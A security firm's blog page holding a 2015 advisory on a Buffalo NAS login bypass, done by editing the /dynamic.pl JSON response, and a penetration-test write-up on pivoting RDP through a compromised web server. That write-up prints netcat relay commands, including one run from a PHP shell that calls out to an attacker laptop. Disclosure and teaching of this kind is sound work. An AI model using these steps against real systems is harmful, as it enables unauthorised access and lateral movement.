A blog about generally interesting infosec stuff by Darren Fuller/Paul Marsh, SecQuest Information Security https://www.secquest.co.uk

Friday, 16 October 2015

Security Advisory: Buffalo NAS Authentication Bypass

Security Advisory
Buffalo LinkStation/TeraStation Authentication Bypass 

Manufacturer: Buffalo Technology - http://www.buffalotech.com
Affected Products: LinkStation/Terastation NAS Devices
Affected Firmware: Seen in 1.69 and below 
Fixed Firmware: 1.71
Risk: Critical data loss/access to sensitive information
Vendor Status: Firmware Update Released

General Information
During a client penetration test, SecQuest consultants found that it was possible to bypass authentication on Buffalo NAS devices by modifying the response to the login request.

This allows full access at administrator level giving complete control of the device. Using the admin interface it is possible to add a new user and open the device up for remote file sharing via Buffalo's "webaccess" functionality.

This would give access to all data contained on the device. A malicious attacker could alternatively format the storage or delete RAID arrays potentially resulting in data loss.

Vulnerability
The response from a POST request to /dynamic.pl can be modified in a proxy to allow access using ANY username and password by changing the "success" and "pagemode" parameters as follows:

Original response
 {"success":false,"errors":[],"data":[{"sid":"###","pageMode":2}]}

Modified response
 {"success":true,"errors":[],"data":[{"sid":"###","pageMode":0}]}

Vulnerability confirmed in firmware versions 1.10, 1.15, 1.34, 1.41, 1.50, 1.52, 1.56, 1.59, 1.60, 1.63, 1.64, 1.65, 1.66, 1.68, 1.69

Credits 
Discovered by Darren Fuller (darren [at] secquest.co.uk)

Independently discovered by Red Team Pentesting -> Link

History
16-Oct-2015 Exploit is in the wild, blog post published
07-Jul-2015 Vendor has no update from engineering team
25-Jun-2015 Update requested from vendor
06-Mar-2015 Vendor is liasing with engineering team in Japan
04-Mar-2015 Update requested from vendor
22-Jan-2015 Technical team confirms vulnerability, fix being created
19-Jan-2015 Update requested from vendor
05-Jan-2015 Update requested from vendor
23-Dec-2014 Vulnerability information passed on to vendor
16-Dec-2014 Alternate contact at vendor requested
16-Dec-2014 Vendor response, case reference ID: 0-80368
15-Dec-2014 Vendor contacted via web support form

Wednesday, 4 March 2015

Pivoting RDP with Netcat

Whilst on a recent test we managed to get a simple PHP command shell uploaded to a web server which was running Linux. We found some information about back-end Windows systems including credentials and needed a way of getting remote desktop access.

This subject has been discussed previously but we thought we'd document it again as it's a cool trick!

The network looked a bit like this for our purposes:
Our hacker is connected to the webserver which we've got a PHP command shell on. We know that there are Windows boxes on the back-end so needed a way to get comms tunnelled through to them. At this point we could use something like Meterpreter but wanted a quick/dirty solution that didn't involve creating files, uploading etc. Fortunaely the system had netcat installed!

So firstly we needed netcat to listen on port 53 (DNS) for comms from the WWW server (we'd worked out that the firewall allowed 53 outbound from the webserver). Getting the server to initiate the connection is more polite than opening up a remote port!

The following command sets up a listener on TCP 53 then relays that connection via anther netcat instance to a local listener on RDP port 3389:

nc -l -p 53 -e nc -l -p 3389

From the PHP command shell we had on the WWW server we then ran the following command:

nc hacker-laptop -p 53 -e nc windows-server -p 3389

This caused the WWW server to create an outbound connection to our laptop which in turn started another listener locally on TCP 3389:

It also created a connection between the WWW server and the Windows server:

So by RDP'ing to localhost the connection was channeled over netcat through the WWW server and on to the RDP port of the Windows server, game over followed shortly!

Again, proof that netcat rocks!